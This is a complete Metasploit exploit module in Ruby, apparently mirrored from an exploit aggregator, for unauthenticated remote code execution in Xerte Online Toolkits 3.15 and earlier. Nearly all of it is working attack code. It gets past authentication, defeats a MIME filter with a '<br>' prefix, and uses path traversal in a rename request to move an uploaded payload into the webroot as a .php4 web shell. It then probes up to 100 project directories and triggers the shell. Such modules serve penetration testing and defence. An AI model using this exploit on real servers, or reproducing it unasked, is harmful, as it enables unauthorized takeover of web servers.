Share
## https://sploitus.com/exploit?id=MSF:EXPLOIT-MULTI-HTTP-XERTE_UNAUTHENTICATED_MEDIAUPLOAD-
# frozen_string_literal: true

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Xerte Online Toolkits Arbitrary File Upload - Unauthenticated Media Upload',
        'Description' => %q{
          This module bypasses authentication failure, extension blacklist,
          and path traversal vulnerabilities in the /editor/elfinder/php/connector.php
          endpoint to upload and execute a shell in Xerte Online Toolkits
          versions 3.15 (commit 4e40f8030a2e3267267db7ce03e0ff57270be6f5 as
          there's no patch versions used) and earlier.
        },
        'Author' => [
          'bootstrapbool <bootstrapbool[at]gmail.com>', # Vulnerability Disclosure / Metasploit Module
        ],
        'License' => MSF_LICENSE,
        'Platform' => 'linux',
        'Privileged' => false,
        'Targets' => [
          [
            'PHP', {
              'Platform' => 'php',
              'Arch' => ARCH_PHP
            }
          ]
        ],
        'DefaultTarget' => 0,
        'References' => [
          ['CVE', '2026-34413'],
          ['CVE', '2026-34414'],
          ['CVE', '2026-34415'],
          ['CVE', '2026-41459'],
          [
            'URL', # Python Exploit
            'https://github.com/bootstrapbool/xerteonlinetoolkits-rce'
          ],
        ],
        'DisclosureDate' => '2026-04-22',
        'Notes' => {
          'Reliability' => [REPEATABLE_SESSION],
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
        }
      )
    )
    register_options(
      [
        OptString.new('USERNAME', [
          false,
          'Valid username. If Guest authentication is enabled, a username should NOT be provided.'
        ]),
        OptString.new('WEBROOT', [false, 'The full filepath to the local webroot. Ex: /var/www/html/']),
        OptString.new('TARGETURI', [true, 'The Xerte base path.']),
      ]
    )
  end

  def get_webroot
    uri = normalize_uri(target_uri.path, 'setup/')
    vprint_status("Attempting to retrieve webroot from #{uri}")

    res = send_request_cgi('uri' => uri)

    unless res && res.code == 200
      fail_with(Failure::Unknown, 'Failed to connect to /setup. It was likely removed by an administrator after installation.')
    end

    res.get_html_document.xpath("//text()[contains(., \"Delete 'database.php' from\")]/following::code[1]").text.presence
  end

  def get_elfinder_id(name, volume_id = 'l1')
    encoded_name = Rex::Text.encode_base64(name)
    relative_id = encoded_name.gsub(/=+$/, '')
    "#{volume_id}_#{relative_id}"
  end

  def create_dir(connector_uri, params, dirname, root_dir_id)
    dir_id = get_elfinder_id(dirname)

    create_dir_params = params.merge(
      'cmd' => 'mkdir',
      'name' => dirname,
      'target' => root_dir_id
    )

    res = send_request_cgi({
      'uri' => connector_uri,
      'vars_get' => create_dir_params
    })

    unless res && res.code == 302
      fail_with(Failure::UnexpectedReply, 'Failed to create directory')
    end

    return dir_id
  end

  def upload_file(connector_uri, params, filename, dir_id, payload)
    data = {
      'cmd' => 'upload',
      'target' => dir_id
    }

    mime = Rex::MIME::Message.new

    data.each_pair do |key, value|
      mime.add_part(value, nil, nil, "form-data; name=\"#{key}\"")
    end

    mime.add_part(
      '<br>' + payload, # The <br> tag bypasses the mime filter
      'text/plain',
      nil,
      "form-data; name=\"upload[]\"; filename=\"#{filename}\""
    )

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => connector_uri,
      'vars_get' => params,
      'vars_post' => data,
      'ctype' => "multipart/form-data; boundary=#{mime.bound}",
      'data' => mime.to_s
    )

    unless res && res.code == 302
      fail_with(Failure::UnexpectedReply, 'Failed to upload file')
    end

    return get_elfinder_id(filename)
  end

  def rename_file(connector_uri, params, shellname, dirname, file_id)
    rename_file_params = params.merge(
      'cmd' => 'rename',
      'target' => file_id,
      'name' => "#{dirname}/../../../../#{shellname}"
    )

    res = send_request_cgi({
      'uri' => connector_uri,
      'vars_get' => rename_file_params
    })

    unless res && res.code == 302
      fail_with(Failure::UnexpectedReply, 'Failed to rename file')
    end
  end

  def exploit
    success = false

    connector_uri = normalize_uri(
      target_uri.path,
      '/editor/elfinder/php/connector.php'
    )

    if datastore['WEBROOT'].nil?
      webroot = get_webroot
    else
      webroot = datastore['WEBROOT']
    end

    webroot = webroot[-1] == '/' ? webroot[0..-2] : webroot

    vprint_status("Application Root: #{webroot}")

    # The root dir id is always l1_Lw regardless of authentication scheme, user, or project
    root_dir_id = 'l1_Lw'
    dirname = Rex::Text.rand_text_alpha(8)
    filename = dirname + '.txt'
    shellname = dirname + '.php4'

    # The --Nottingham suffix is non configurable - it's used in all Xerte installations
    if datastore['USERNAME'].nil? # Assumes Anonymous authentication enabled (Default Xerte configuration)
      user_dir = '--Nottingham/'  # Anonymous authentication uses {project_id}--Nottingham scheme for all user directories
    else
      user_dir = "-#{datastore['USERNAME']}-Nottingham/"
    end

    (1..100).each do |x|
      project_dir = "/USER-FILES/#{x}#{user_dir}"

      vprint_status("Attempting #{webroot}#{project_dir}")

      project_dir_uri = normalize_uri(target_uri.path, project_dir)

      base_params = {
        'uploadDir' => "#{webroot}#{project_dir}",
        'uploadURL' => full_uri(project_dir_uri).to_s
      }

      create_dir(connector_uri, base_params, dirname, root_dir_id)

      file_id = upload_file(
        connector_uri,
        base_params,
        filename,
        root_dir_id,
        payload.encoded
      )

      rename_file(connector_uri, base_params, shellname, dirname, file_id)

      res = send_request_cgi({
        'uri' => normalize_uri(target_uri.path, shellname)
      })

      next if res && res.code == 404

      success = true
      vprint_status("Successfully uploaded shell through #{project_dir}")

      register_dir_for_cleanup("#{base_params['uploadDir']}#{dirname}")
      register_file_for_cleanup("#{base_params['uploadDir']}#{filename}")
      register_file_for_cleanup("#{webroot}/#{shellname}")
      break
    end

    if !success
      fail_with(Failure::NotFound, 'Exploit failed. The target user likely has no projects.')
    end
  end

  def check
    uri = normalize_uri(target_uri.path, 'setup/')
    vprint_status("Attempting to retrieve webroot from #{uri}")

    res = send_request_cgi('uri' => uri)

    if res.nil? || res && res.code != 200
      return Exploit::CheckCode::Unknown('Failed to connect to /setup. It was likely removed by an administrator after installation.')
    end

    webroot = res.get_html_document.xpath("//text()[contains(., \"Delete 'database.php' from\")]/following::code[1]").text.presence

    # /setup only outputs the app root in vulnerable versions of xerte
    if webroot.nil?
      return Exploit::CheckCode::Unknown
    else
      return Exploit::CheckCode::Appears
    end
  end
end